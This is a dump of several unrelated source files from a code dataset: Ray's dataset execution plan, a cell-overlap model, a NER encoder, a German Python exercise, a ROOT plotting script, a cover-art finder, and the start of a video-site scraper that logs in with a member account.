self._stages_after_snapshot:\n return None\n # Snapshot is now guaranteed to be the output of the final stage or None.\n blocks = self._snapshot_blocks\n metadata = blocks.get_metadata() if blocks else None\n if metadata and all(m.num_rows is not None for m in metadata):\n return sum(m.num_rows for m in metadata)\n else:\n return None\n\n def execute(\n self,\n allow_clear_input_blocks: bool = True,\n force_read: bool = False,\n ) -> BlockList:\n \"\"\"Execute this plan.\n\n Args:\n allow_clear_input_blocks: Whether we should try to clear the input blocks\n for each stage.\n force_read: Whether to force the read stage to fully execute.\n\n Returns:\n The blocks of the output dataset.\n \"\"\"\n if not self.has_computed_output():\n blocks, stats, stages = self._optimize()\n for stage_idx, stage in enumerate(stages):\n if allow_clear_input_blocks:\n clear_input_blocks = self._should_clear_input_blocks(\n blocks, stage_idx\n )\n else:\n clear_input_blocks = False\n stats_builder = stats.child_builder(stage.name)\n blocks, stage_info = stage(blocks, clear_input_blocks)\n if stage_info:\n stats = stats_builder.build_multistage(stage_info)\n else:\n stats = stats_builder.build(blocks)\n stats.dataset_uuid = uuid.uuid4().hex\n # Set the snapshot to the output of the final stage.\n self._snapshot_blocks = blocks\n self._snapshot_stats = stats\n self._snapshot_stats.dataset_uuid = self._dataset_uuid\n self._stages_before_snapshot += self._stages_after_snapshot\n self._stages_after_snapshot = []\n if _is_lazy(self._snapshot_blocks) and force_read:\n self._snapshot_blocks = self._snapshot_blocks.compute_to_blocklist()\n return self._snapshot_blocks\n\n def clear_block_refs(self) -> None:\n \"\"\"Clear all cached block references of this plan, including input blocks.\n\n This will render the plan un-executable unless the root is a LazyBlockList.\"\"\"\n self._in_blocks.clear()\n self._snapshot_blocks = None\n self._snapshot_stats = None\n # We're erasing the snapshot, so put all stages into the \"after snapshot\"\n # bucket.\n self._stages_after_snapshot = (\n self._stages_before_snapshot + self._stages_after_snapshot\n )\n self._stages_before_snapshot = []\n\n def stats(self) -> DatasetStats:\n \"\"\"Return stats for this plan, forcing execution if needed.\"\"\"\n self.execute()\n return self._snapshot_stats\n\n def _should_clear_input_blocks(\n self,\n blocks: BlockList,\n stage_idx: int,\n ):\n \"\"\"Whether the provided blocks should be cleared when passed into the stage.\n\n Args:\n blocks: The blocks that we may want to clear.\n stage_idx: The position of the stage in the optimized after-snapshot chain.\n \"\"\"\n if stage_idx != 0 or self._stages_before_snapshot:\n # Not the first stage, always clear stage input blocks.\n return True\n elif isinstance(blocks, LazyBlockList):\n # Always clear lazy input blocks since they can be recomputed.\n return True\n else:\n # Otherwise, we have non-lazy input blocks that's the source of this\n # execution plan, so we don't clear these.\n return False\n\n def _optimize(self) -> Tuple[BlockList, DatasetStats, List[Stage]]:\n \"\"\"Apply stage fusion optimizations, returning an updated source block list and\n associated stats, and a set of optimized stages.\n \"\"\"\n context = DatasetContext.get_current()\n blocks, stats, stages = self._get_source_blocks_and_stages()\n if context.optimize_fuse_stages:\n if context.optimize_fuse_read_stages:\n # If using a lazy datasource, rewrite read stage into one-to-one stage\n # so it can be fused into downstream stages.\n blocks, stats, stages = _rewrite_read_stages(\n blocks, stats, stages, self._dataset_uuid\n )\n stages = _fuse_one_to_one_stages(stages)\n self._last_optimized_stages = stages\n return blocks, stats, stages\n\n def _get_source_blocks_and_stages(\n self,\n ) -> Tuple[BlockList, DatasetStats, List[Stage]]:\n \"\"\"Get the source blocks, corresponding stats, and the stages for plan\n execution.\n\n If a computed snapshot exists and has not been cleared, return the snapshot\n blocks and stats; otherwise, return the input blocks and stats that the plan was\n created with.\n \"\"\"\n stages = self._stages_after_snapshot.copy()\n if self._snapshot_blocks is not None:\n if not self._snapshot_blocks.is_cleared():\n # If snapshot exists, we only have to execute the plan from the\n # snapshot.\n blocks = self._snapshot_blocks\n stats = self._snapshot_stats\n # Unlink the snapshot blocks from the plan so we can eagerly reclaim the\n # snapshot block memory after the first stage is done executing.\n self._snapshot_blocks = None\n else:\n # Snapshot exists but has been cleared, so we need to recompute from the\n # source (input blocks).\n blocks = self._in_blocks\n stats = self._in_stats\n stages = self._stages_before_snapshot + self._stages_after_snapshot\n else:\n # If no snapshot exists, we have to execute the full plan from the\n # beginning.\n blocks = self._in_blocks\n stats = self._in_stats\n if not self.has_lazy_input():\n # If not a lazy datasource, unlink the input blocks from the plan so we\n # can eagerly reclaim the input block memory after the first stage is\n # done executing.\n self._in_blocks = None\n return blocks, stats, stages\n\n def has_lazy_input(self) -> bool:\n \"\"\"Return whether this plan has lazy input blocks.\"\"\"\n return _is_lazy(self._in_blocks)\n\n def is_read_stage(self) -> bool:\n \"\"\"Return whether this plan only consists of a read stage.\"\"\"\n return (\n self.has_lazy_input()\n and not self._stages_before_snapshot\n and not self._stages_after_snapshot\n )\n\n def has_computed_output(self) -> bool:\n \"\"\"Whether this plan has a computed snapshot for the final stage, i.e. for the\n output of this plan.\n \"\"\"\n return (\n self._snapshot_blocks is not None\n and not self._stages_after_snapshot\n and not self._snapshot_blocks.is_cleared()\n )\n\n\nclass OneToOneStage(Stage):\n \"\"\"A stage that transforms blocks independently (e.g., map or filter).\"\"\"\n\n def __init__(\n self,\n name: str,\n block_fn: Callable[[Block], Block],\n compute: str,\n ray_remote_args: dict,\n ):\n super().__init__(name, None)\n self.block_fn = block_fn\n self.compute = compute or \"tasks\"\n self.ray_remote_args = ray_remote_args or {}\n\n def can_fuse(self, prev: Stage):\n if not isinstance(prev, OneToOneStage):\n return False\n if prev.compute != self.compute:\n return False\n if not _are_remote_args_compatible(prev.ray_remote_args, self.ray_remote_args):\n return False\n return True\n\n def fuse(self, prev: Stage):\n if not self.can_fuse(prev):\n raise ValueError(\n f\"Tried to fuse {prev} with {self}, but these are not fusable.\"\n )\n name = prev.name + \"->\" + self.name\n fn1 = prev.block_fn\n fn2 = self.block_fn\n\n def block_fn(block: Block) -> Iterable[Block]:\n for tmp1 in fn1(block):\n for tmp2 in fn2(tmp1):\n yield tmp2\n\n return OneToOneStage(name, block_fn, prev.compute, prev.ray_remote_args)\n\n def __call__(\n self, blocks: BlockList, clear_input_blocks: bool\n ) -> Tuple[BlockList, dict]:\n compute = get_compute(self.compute)\n blocks = compute._apply(\n self.block_fn, self.ray_remote_args, blocks, clear_input_blocks\n )\n assert isinstance(blocks, BlockList), blocks\n return blocks, {}\n\n\nclass AllToAllStage(Stage):\n \"\"\"A stage that transforms blocks holistically (e.g., shuffle).\"\"\"\n\n def __init__(\n self,\n name: str,\n num_blocks: Optional[int],\n fn: Callable[[BlockList, bool, Callable], Tuple[BlockList, dict]],\n supports_block_udf: bool = False,\n block_udf=None,\n remote_args=None,\n ):\n super().__init__(name, num_blocks)\n self.fn = fn\n self.supports_block_udf = supports_block_udf\n self.block_udf = block_udf\n self.ray_remote_args = remote_args or {}\n\n def can_fuse(self, prev: Stage):\n context = DatasetContext.get_current()\n # TODO(ekl) also support fusing shuffle stages to subsequent 1:1 stages.\n if not context.optimize_fuse_shuffle_stages:\n return False\n if not self.supports_block_udf:\n return False\n if not isinstance(prev, OneToOneStage):\n return False\n if prev.compute != \"tasks\":\n return False\n if any(k not in INHERITABLE_REMOTE_ARGS for k in prev.ray_remote_args):\n return False\n return True\n\n def fuse(self, prev: Stage):\n if not self.can_fuse(prev):\n raise ValueError(\n f\"Tried to fuse {prev} with {self}, but these are not fusable.\"\n )\n assert self.supports_block_udf\n name = prev.name + \"->\" + self.name\n return AllToAllStage(\n name, self.num_blocks, self.fn, True, prev.block_fn, prev.ray_remote_args\n )\n\n def __call__(\n self, blocks: BlockList, clear_input_blocks: bool\n ) -> Tuple[BlockList, dict]:\n blocks, stage_info = self.fn(\n blocks, clear_input_blocks, self.block_udf, self.ray_remote_args\n )\n assert isinstance(blocks, BlockList), blocks\n return blocks, stage_info\n\n\ndef _rewrite_read_stages(\n blocks: BlockList,\n stats: DatasetStats,\n stages: List[Stage],\n dataset_uuid: str,\n) -> Tuple[BlockList, DatasetStats, List[Stage]]:\n \"\"\"Rewrites read stages into one-to-one stages, if needed.\"\"\"\n if _is_lazy(blocks) and stages:\n blocks, stats, stage = _rewrite_read_stage(blocks)\n stats.dataset_uuid = dataset_uuid\n stages.insert(0, stage)\n return blocks, stats, stages\n\n\ndef _rewrite_read_stage(\n in_blocks: LazyBlockList,\n) -> Tuple[BlockList, DatasetStats, Stage]:\n \"\"\"Rewrite the read stage to a OneToOne stage over read tasks as input.\n\n For example, suppose the plan was [Read -> MapBatches(Fn)]. These stages cannot\n be fused, since read stages are handled specially.\n After rewriting to [GetReadTasks -> MapBatches(DoRead) -> MapBatches(Fn)],\n now we can fuse the latter two MapBatches stages into a single OneToOne stage:\n [GetReadTasks -> MapBatches(DoRead -> Fn)].\n\n Args:\n blocks: Lazy block list representing read stage.\n\n Returns:\n Non-lazy block list containing read tasks for not-yet-read block partitions,\n new stats for the block list, and the new one-to-one read stage.\n \"\"\"\n # Generate the \"GetReadTasks\" stage blocks.\n remote_args = in_blocks._remote_args\n blocks, metadata = [], []\n for read_task in in_blocks._tasks:\n blocks.append(ray.put(read_task._read_fn))\n metadata.append(read_task.get_metadata())\n block_list = BlockList(blocks, metadata)\n\n def block_fn(read_fn: Callable[[], Iterator[Block]]) -> Iterator[Block]:\n for block in read_fn():\n yield block\n\n stage = OneToOneStage(\"read\", block_fn, \"tasks\", remote_args)\n stats = DatasetStats(stages={}, parent=None)\n return block_list, stats, stage\n\n\ndef _fuse_one_to_one_stages(stages: List[Stage]) -> List[Stage]:\n \"\"\"Fuses compatible one-to-one stages.\n\n Args:\n stages: Stages to try to fuse.\n\n Returns:\n Fused stages.\n \"\"\"\n fused_stages = []\n prev_stage = None\n for idx, stage in enumerate(stages):\n if prev_stage is None:\n prev_stage = stage\n elif stage.can_fuse(prev_stage):\n prev_stage = stage.fuse(prev_stage)\n else:\n fused_stages.append(prev_stage)\n prev_stage = stage\n if prev_stage:\n fused_stages.append(prev_stage)\n prev_stage = None\n return fused_stages\n\n\ndef _are_remote_args_compatible(prev_args, next_args):\n \"\"\"Check if Ray remote arguments are compatible for merging.\"\"\"\n remote_args = next_args.copy()\n for key in INHERITABLE_REMOTE_ARGS:\n if key in prev_args:\n remote_args[key] = prev_args[key]\n if prev_args != remote_args:\n return False\n return True\n\n\ndef _is_lazy(blocks: BlockList) -> bool:\n \"\"\"Whether the provided block list is lazy.\"\"\"\n return isinstance(blocks, LazyBlockList)\n","sub_path":"python/ray/data/impl/plan.py","file_name":"plan.py","file_ext":"py","file_size_in_byte":21796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"469405533","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCorrect overlap\n\n@author: Marzieh Tehrani\n@commented: Harrison Paul Cooper, 2017\n@updated: Harrison Paul Cooper, 2018\n@last_updated: Harrison Paul Cooper, 23/04/2018\n\"\"\"\nimport random\nimport numpy as np\n\n\nimport matplotlib.pyplot as plt\n\n\ndef initiate_OC(env):\n \"\"\"\n Main overlap function.\n\n Adds the three agents to the list cells and their positions to the list values\n :param env: The size of the environment and number and type of agents present\n :return: An environment where no cells are overlapping\n \"\"\"\n cells = []\n for cell in env.senescent_cells:\n cells.append(cell)\n for cell in env.proliferating_cells:\n cells.append(cell) \n for cell in env.quiescent_cells:\n cells.append(cell)\n\n values = [[[0 for k in range(2)] for j in range(1)] for i in range(len(cells))]\n\n for cell in range(len(cells)):\n # initial position and displacement values for all the cells (t=0)\n values[cell][0] = [cells[cell].pos[0], cells[cell].pos[1]] # [xi, yi]\n\n plot_values = [[0 for j in range(0)] for i in range(2)] # row1 = tally, row2 = overlap error\n check_overlap(env, cells, values, plot_values, OCM_it=0)\n\n\ndef check_overlap(env, cells, values, plot_values, OCM_it):\n \"\"\"\n Checks to see if any two cells are overlapping.\n\n :param env: The size of the environment and number and type of agents present\n :param cells: List of each agent currently in iteration\n :param values: Array of each cells xi, yi position\n :param plot_values: row1 = tally, row2 = overlap error\n :param OCM_it:\n :return: List of overlapping cells\n \"\"\"\n overlap_tally = 0 \n overlap_error = 0\n overlap = [[0 for k in range(len(cells))] for j in range(len(cells))]\n \n for i in range(len(overlap)):\n xi = values[i][len(values[i])-1][0]\n yi = values[i][len(values[i])-1][1]\n ri = cells[i].radius\n for j in range(i, len(overlap)):\n if i != j:\n xj = values[j][len(values[j])-1][0]\n yj = values[j][len(values[j])-1][1]\n rj = cells[j].radius\n \n if not rj:\n rj = ri\n\n overlap[i][j] = np.sqrt((xj-xi)**2+(yj-yi)**2) - (ri+rj)\n\n if overlap[i][j] < -(ri+rj)/100.0:\n overlap_tally += 1\n overlap_error += overlap[i][j]\n \n plot_values[0].append(overlap_tally)\n plot_values[1].append(overlap_error*-1.0)\n\n if overlap_tally > 0 and OCM_it < 200:\n correct_overlap(env, cells, values, plot_values, OCM_it)\n \n if overlap_tally == 0 and OCM_it < 200:\n update_pos_ABM(env, values) \n display_plot_values(plot_values, OCM_it)\n\n if overlap_tally >= 0 and OCM_it == 200:\n update_pos_ABM(env, values)\n # update_radii(env, cells, overlap)\n display_plot_values(plot_values, OCM_it)\n\n \ndef correct_overlap(env, cells, values, plot_values, OCM_it):\n \"\"\"\n Any overlapping cells have different localised positions tested to see if that corrects them.\n\n :param env: The size of the environment and number and type of agents present\n :param cells: List of each agent currently in iteration\n :param values: Array of each cells xi, yi position\n :param plot_values: row1 = tally, row2 = overlap error\n :param OCM_it:\n :return: List of positions overlapping cells need to be moved to\n \"\"\"\n for i in range(len(values)):\n ri = cells[i].radius\n xi = values[i][len(values[i])-1][0] # current x value (most updated)\n yi = values[i][len(values[i])-1][1] # current y value (most updated)\n\n neighbour = [] # neighbour ([0:prev_xj, 1:prev_yi, 2:prev_uxj, 3:prev_uyj, 4:kij, 5:kijx, 6:kijy])\n\n for j in range(len(values)):\n if i != j:\n xj = values[j][len(values[j])-1][0]\n yj = values[j][len(values[j])-1][1]\n rj = cells[j].radius\n dist_ij = np.sqrt((xj-xi)**2+(yj-yi)**2)\n\n if not ri:\n ri = rj\n\n if not rj:\n rj = ri\n\n if (dist_ij-(ri+rj)) < -(ri+rj)/100.0:\n Lij = ri + rj\n dist_ijx = abs(xj-xi)\n dist_ijy = abs(yj-yi)\n uijx = (xj-xi)/dist_ij\n uijy = (yj-yi)/dist_ij\n neighbour.append([Lij, dist_ijx, dist_ijy, uijx, uijy])\n\n if len(neighbour) > 0:\n totalx = 0\n totaly = 0 \n for j in range(len(neighbour)):\n Lij = neighbour[j][0]\n dist_ijx = neighbour[j][1]\n dist_ijy = neighbour[j][2]\n uijx = neighbour[j][3]\n uijy = neighbour[j][4]\n totalx = totalx + (uijx*(dist_ijx-Lij))\n totaly = totaly + (uijy*(dist_ijy-Lij))\n\n new_xi = xi + 0.1*totalx\n new_yi = yi + 0.1*totaly\n\n # To ensure cells don't move off model\n if new_xi > (env.size - ri):\n new_xi = (env.size - ri)-random.random()*0.02\n\n if new_xi < ri:\n new_xi = ri+random.random()*0.02\n\n if new_yi > (env.size - ri):\n new_yi = (env.size - ri)-random.random()*0.02\n\n if new_yi < ri:\n new_yi = ri+random.random()*0.02 \n \n values[i].append([new_xi, new_yi])\n\n if len(neighbour) > 3: # parameter: changeable for confluence\n if not cells[i].iscluster:\n cells[i].iscluster = True\n else:\n cells[i].iscluster = False\n\n check_overlap(env, cells, values, plot_values, OCM_it+1)\n\n\ndef update_pos_ABM(env, values):\n \"\"\"\n Updates overlapping cells positions.\n\n :param env: The size of the environment and number and type of agents present\n :param values: Array of each cells xi, yi position\n :return: Updated cells positions\n \"\"\"\n i = 0 \n for agent in env.senescent_cells:\n npos = np.zeros(2)\n npos[0] = values[i][len(values[i])-1][0]\n npos[1] = values[i][len(values[i])-1][1]\n agent.move_cell(npos)\n i += 1\n for agent in env.proliferating_cells:\n npos = np.zeros(2)\n npos[0] = values[i][len(values[i])-1][0]\n npos[1] = values[i][len(values[i])-1][1]\n agent.move_cell(npos)\n i += 1\n for agent in env.quiescent_cells:\n npos = np.zeros(2)\n npos[0] = values[i][len(values[i])-1][0]\n npos[1] = values[i][len(values[i])-1][1]\n agent.move_cell(npos)\n i += 1\n\n\ndef update_radii(env, cells, overlap):\n \"\"\"\n\n :param env:\n :param cells:\n :param overlap:\n :return:\n \"\"\"\n for i in range(len(overlap)):\n ri = cells[i].radius\n for j in range(len(overlap)):\n rj = cells[j].radius\n if overlap[i][j] < -(ri+rj)/50.0:\n cells[i].radius = ri - overlap[i][j]/-10.0\n cells[j].radius = rj - overlap[i][j]/-10.0\n\n i = 0\n for agent in env.senescent_cells:\n agent.radius = cells[i].radius\n i += 1\n for agent in env.proliferating_cells:\n agent.radius = cells[i].radius\n i += 1\n for agent in env.quiescent_cells:\n agent.radius = cells[i].radius\n i += 1\n\n\ndef display_plot_values(plot_values, OCM_it):\n \"\"\"\n Displays graph of number of overlapping cells each OCM_it\n\n :param plot_values: row1 = tally, row2 = overlap error\n :param OCM_it:\n :return: Graph of overlapping cell numbers\n \"\"\"\n time = []\n for i in range(OCM_it+1):\n time.append(i)\n f, axarr = plt.subplots(2, sharex=True)\n axarr[0].plot(time, plot_values[0])\n axarr[0].set_title('Number of pairs of overlapping cells')\n axarr[1].plot(time, plot_values[1])\n axarr[1].set_title('Total overlap error')\n axarr[1].set_xlabel('OCM_it') \n","sub_path":"overlap.py","file_name":"overlap.py","file_ext":"py","file_size_in_byte":7978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"310396178","text":"\nimport numpy as np\nimport os\nimport tensorflow as tf\nimport string\nimport random\nimport math\nimport sys\n\nclass DatasetEncoder:\n # Each sentence must be array of tuple (word, tag)\n def __init__(self, embeddings_resolver, tag2id = {'O': 0}, piece_tag = '[X]'):\n self.char2id = {c:i + 1 for i, c in enumerate(string.printable)}\n self.tag2id = tag2id\n self.embeddings_resolver = embeddings_resolver\n self.piece_tag = piece_tag\n \n def shuffle(self):\n random.shuffle(self.sentences)\n \n @staticmethod\n def normalize(word):\n return word.strip().lower()\n \n def get_char_indexes(self, word):\n result = []\n for c in word:\n char_id = self.char2id.get(c, len(self.char2id) - 1)\n result.append(char_id)\n\n return result\n \n def encode(self, sentences, output=False):\n for sentence in sentences:\n dataset_words = [word for (word, tag) in sentence]\n word_embeddings = self.embeddings_resolver.resolve_sentence(dataset_words)\n \n # Zip Embeddings and Tags\n words = []\n tags = []\n char_ids = []\n tag_ids = []\n is_word_start = []\n embeddings = []\n \n i = 0\n \n for item in word_embeddings:\n words.append(item.piece)\n \n if item.is_word_start:\n assert i < len(sentence), 'i = {} is more or equal than length of {}, during zip with {}'.format(i, sentence, word_embeddings)\n tag = sentence[i][1]\n i += 1\n else:\n tag = self.piece_tag\n \n tag_id = self.tag2id.get(tag, len(self.tag2id))\n self.tag2id[tag] = tag_id\n \n tags.append(tag)\n tag_ids.append(tag_id)\n\n embeddings.append(item.vector)\n is_word_start.append(item.is_word_start)\n \n char_ids.append(self.get_char_indexes(item.piece))\n \n if len(sentence) > 0:\n yield {\n \"words\": words,\n \"tags\": tags,\n \"char_ids\": char_ids,\n \"tag_ids\": tag_ids,\n \"is_word_start\": is_word_start,\n \"word_embeddings\": np.array(embeddings, dtype=np.float16)\n }","sub_path":"examples/python/training/english/dl-ner/nerdl-graph/dataset_encoder.py","file_name":"dataset_encoder.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"641032005","text":"## Date: 04.09.2016\n## Author: Anna Majewski\n## Description: Aufgabe 2\n## Zuerst ein Dictionary erstellen, Sachen mit Indizes herauslesen, dann zusätzlichen Eintrag speichern.\n\nfrom pprint import pprint\n# damit Sachen schick angezeigt werden\n\nbuch = {\"Vorname\":\"Max\",\n \"Nachname\": \"Mustermann\",\n \"Hobbies\": [\"Schwimmen\", \"Tanzen\", \"Lesen\"],\n# Hobbies wird als Liste eingefügt, da es nicht immer gleich viele Felder haben wird.\n \"Alter\": 43,\n \"Eigenschaften\":\n# Eigenschaften ist ein eigenes dictionary.\n {\"Geschicklichkeit\": 10,\n \"IQ\": 98,\n \"Gewicht\": 88,\n \"Haarfarbe\": \"blond\"},\n \"Geschlecht\": \"männlich\"}\n\n## Wrap it up in a list\naddressbuch = [buch]\npprint(addressbuch)\n\n## Zusätzliche Aufgaben:\n# Geben Sie den IQ aus.\n\nprint(\"Der IQ beträgt:\", addressbuch[0][\"Eigenschaften\"][\"IQ\"])\n\n# Geben Sie die Anzahl der Hobbies aus\n\ncount = 0\nfor x in addressbuch[0][\"Hobbies\"]:\n count += 1\nprint(\"Die Anzahl der Hobbies ist:\", count)\n\n# Fügen Sie einen ähnlichen Datensatz hinzu.\n# Da es eine Liste ist, kann man mit .append einen Eintrag hinzufügen.\n\naddressbuch.append({\"Vorname\": \"Taka\", \"Nachname\": \"Baka\", \"Hobbies\": [\"Games\", \"Webdesign\"], \"Eigenschaften\": {\"Haarfarbe\": \"braun\"},\"Geschlecht\": \"weiblich\"})\n\n# Zeigen Sie die Länge des Addressbuchs an\n\nlength = len(addressbuch)\nprint (\"Die Länge des Addressbuchs ist:\", length)\n","sub_path":"AnnaMajewski/aufgabe2.py","file_name":"aufgabe2.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"170909297","text":"#!/usr/bin/python\n\nimport sys\nsys.argv.append('-b')\nimport ROOT\n\nff = ROOT.TFile(sys.argv[1])\n\nqq = sys.argv[1]\nww = qq.split(\"/\")\nzz = ww[-1]\n\nfor kk in ff.GetListOfKeys():\n obj = kk.ReadObj()\n print(obj.__class__)\n print(obj.GetTitle())\n print(obj.GetNbinsX())\n print(obj.GetNbinsY())\n #print(\"value of x bin is: \")\n #print(obj.GetXaxis().FindBin(100))#obj.FindLastBinAbove()))\n#h1 = ff.Get(\"5038_H_proton_DeltaBeta_momentum_S2\")#.ProjectionY(\"cutg\",0,40,\"[cutg]\")#5038_Hist_deltaB_psec1_layer1\")#.ProjectionY(\"cutg\",0,40,\"[cutg]\")\n\n#h1 = ff.Get(\"5039_Hist_deltaB_psec1_layer1\")#.ProjectionY(\"cutg\",0,40,\"[cutg]\")\n\n\ntype1 = \"output_file_histos_hist_theta_proton_electron_no_cuts\"\ntype2 = \"output_file_histos_hist_xB_nocuts\"\n#type2 = \"5039_Hist_deltaB_psec1_layer1\"\ntype3 = \"5039_Hist_beta_p2sec1_layer1\"\ntype4 = \"5039_Hist_beta_p_ctof\"\n\ntypeX = int(sys.argv[2])\nprint(\"type to print is {0}\".format(typeX))\n\nif typeX==1:\n type = type1\nelif typeX==2:\n type = type2\nelif typeX==3:\n type = type3\nelif typeX==4:\n type = type4\nelse:\n print(\"type not found, ISSUE!!!!\")\n\nprint(type)\nh1 = ff.Get(type)\n\nc1 = ROOT.TCanvas('c1','c1',100,100)\nc1.SetLogz()\nh1.Draw(\"colz\")\nc1.Print(\"../plots/full_{}_{}.pdf\".format(zz,type))\n","sub_path":"python/src/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"140086177","text":"#10) Escreva um programa para calcular a redução\n#do tempo de vida de um fumante. Pergunte a\n#quantidade de cigarros fumados por dia e\n#quantos anos ele já fumou. Considere que um fumante\n#perde 10 minutos de vida a cada cigarro,\n#calcule quantos dias de vida um fumante perderá. Exiba o\n#total de dias.\n\ncig = int(input (\"qts cigarros por dia? \"))\nano = int(input (\"a quanto anos fuma? \"))\ntotFumado = (cig * ano * 365 * 24) /6 /24\nprint(\"dias de vida perdido de %d\" %totFumado)\n","sub_path":"exercicios/ex1-10.py","file_name":"ex1-10.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"155290758","text":"import argparse, os\nfrom .cover_finder import CoverFinder, DEFAULTS\n\n# This script searches apple music for artwork that is missing from your library\n# It saves the artwork alongside the audio and embeds the artwork into the meta tags\n\n# By default it will scan from the current working directory, you can override this\n# with commandline parameters or arguments passed into scan_folder()\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--path', help=\"audio file, or folder of audio files (recursive)\", default=\".\")\n\nparser_art = parser.add_argument_group('artwork options')\nparser_art.add_argument('--art-dest', '--dest', help=\"set artwork destination folder\", default=DEFAULTS.get('cover_art'))\nparser_art.add_argument('--art-dest-inline', '--inline', help=\"put artwork in same folders as audio files\", action='store_true')\nparser_art.add_argument('--art-dest-filename', default=DEFAULTS.get('art_dest_filename'), help=\"set artwork destination filename format. Accepts {artist}, {album}, and {title}. Default '{artist} - {album}.jpg\")\nparser_art.add_argument('--external-art-mode', choices=['before', 'after', 'none'], default=DEFAULTS.get('external_art_mode'), help='Use image from local folder; \"before\" prevents downloads, \"after\" uses as a fallback. Default is none.')\nparser_art.add_argument('--external-art-filename', default=DEFAULTS.get('external_art_filename'), help=\"Filename(s) of folder art to use. Accepts {artist}, {album}, and {title} for replacement: e.g. cover.jpg or {album}-{artist}.jpg\", nargs=\"+\")\n\nparser_behavior = parser.add_argument_group('behavior options')\nparser_behavior.add_argument('--test', '--no_embed', help=\"scan and download only, don't embed artwork\", action='store_true')\nparser_behavior.add_argument('--clear', help=\"clear artwork from audio file (regardless of finding art)\", action='store_true')\nparser_behavior.add_argument('--no_download', help=\"embed only previously-downloaded artwork\", action='store_true')\nparser_behavior.add_argument('--force', help=\"overwrite existing artwork\", action='store_true')\nparser_behavior.add_argument('--verbose', help=\"print verbose logging\", action='store_true')\nparser_behavior.add_argument('--throttle', help=\"number of seconds between queries\", default=0)\n\nparser_filters = parser.add_argument_group('filter options')\nparser_filters.add_argument('--skip_artists', help=\"file containing artists to skip\", default=DEFAULTS.get('skip_artists'))\nparser_filters.add_argument('--skip_albums', help=\"file containing albums to skip\", default=DEFAULTS.get('skip_albums'))\nparser_filters.add_argument('--skip_artwork', help=\"file containing destination art files to skip\", default=DEFAULTS.get('skip_artwork'))\nargs = parser.parse_args()\n\nfinder = CoverFinder(vars(args))\nif os.path.isfile(args.path):\n finder.scan_file(args.path)\nelse:\n finder.scan_folder(args.path)\nprint()\nnum_processed = len(finder.files_processed)\nnum_skipped = len(finder.files_skipped)\nnum_failed = len(finder.files_failed)\nprint(\"Done! Processed: %d, Skipped: %d, Failed: %d\" % (num_processed, num_skipped, num_failed))\nif finder.art_folder_override:\n print(\"Artwork folder: \" + finder.art_folder_override)\nelse:\n print(\"Artwork files are alongside audio files.\")\nprint()\n","sub_path":"get_cover_art/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"370214003","text":"\nfrom __future__ import absolute_import\n\nimport logging\nfrom optparse import OptionGroup\nimport os\nimport re\n\nfrom lxml import html\nimport requests\nimport simplejson as json\n\nfrom fetcher.studio import BaseStudio\nfrom fetcher.video import BaseVideo\nfrom fetcher.videolist import VideoList, VideoListFilterFile\n\nlogger = logging.getLogger(__name__)\n\n\nclass HelixVideo(BaseVideo):\n def __init__(self, video_id, description_url, session, title):\n self._title_xpath = '//*[@id=\"leftcolumn\"]/div[1]/div/table[1]/tr/td[1]/div/text()'\n\n super(HelixVideo, self).__init__(video_id, description_url, session, title)\n\n def _update_all(self):\n \"\"\"\n Updates all of the metadata about this video by scraping it from the\n metadata page at :py:attr:`Video.description_url()`.\n\n Downloads the page content using\n :py:func:`Video._get_description_page_content()` and processes the\n resulting string and html tree using\n :py:meth:`Video._update_title_from_xpath()`,\n :py:meth:`Video._update_download_url_from_xpath()`, and\n :py:meth:`Video._update_download_filename_from_xpath()`.\n\n This function should be overridden if you have to do anything that\n can't be handled by simply scraping an xpath element.\n \"\"\"\n page_content = self._get_description_page_content()\n tree = html.fromstring(page_content)\n\n self._update_title_from_xpath(page_content, tree)\n self._update_studio_download_info(page_content, tree)\n\n def _playlist_video_url(self, tree):\n params = json.loads(tree.xpath('//*[@id=\"leftcolumn\"]/script[3]/text()')[0].splitlines()[5]\n .replace('playlist: [', '').strip().strip('],'))\n\n return params['sources'][1]['file']\n\n def _normalize_filename(self, studio):\n # Replace line breaks with spaces\n self._title = re.sub('^(Bonus Scene:)?[ \\t\\r\\n]+', '', self._title)\n filename = super(HelixVideo, self)._normalize_filename(studio)\n return filename\n\n def _update_studio_download_info(self, page, tree):\n url = None\n\n # for alt_studio in HelixVideo.alternate_studios:\n # if page.content.find(alt_studio) != -1:\n # url = self._playlist_video_url(self._tree)\n # studio = alt_studio\n\n if not url:\n url = tree.xpath('//*[@id=\"main\"]/div[5]/div[6]/div/table/tr/td/a[2]')[0].get('href')\n studio = \"Helix Studios\"\n\n self._download_url = url\n self._filename = self._normalize_filename(studio)\n\n\nclass HelixStudio(BaseStudio):\n list_query = \"https://www.helixstudios.net/members/scenes.php?{0}\"\n login_page = 'https://www.helixstudios.net/login.php'\n video_page = \"https://www.helixstudios.net/members/scenes_details.php?scene_id={0}\"\n alternate_studios = ['Staxus', 'BoyCrush']\n\n def add_option_group(self, parser):\n group = OptionGroup(parser, \"Helix Studios Options\")\n group.add_option(\"--helix-username\", dest=\"helixstudios_username\",\n help=\"Username for helixstudios.net\")\n group.add_option(\"--helix-password\", dest=\"helixstudios_password\",\n help=\"Password for helixstudios.net\")\n group.add_option(\"--helix-target\", dest=\"helixstudios_target\",\n help=\"Target directory for downloads from helixstudios.net\")\n group.add_option(\"--helix-studiolist\", dest=\"helixstudios_studiolist\",\n help=\"Download videos from these studio (comma-separated list of numbers)\")\n group.add_option(\"--helix-theme\", dest=\"helixstudios_theme\",\n help=\"Restrict video search to this theme (example: 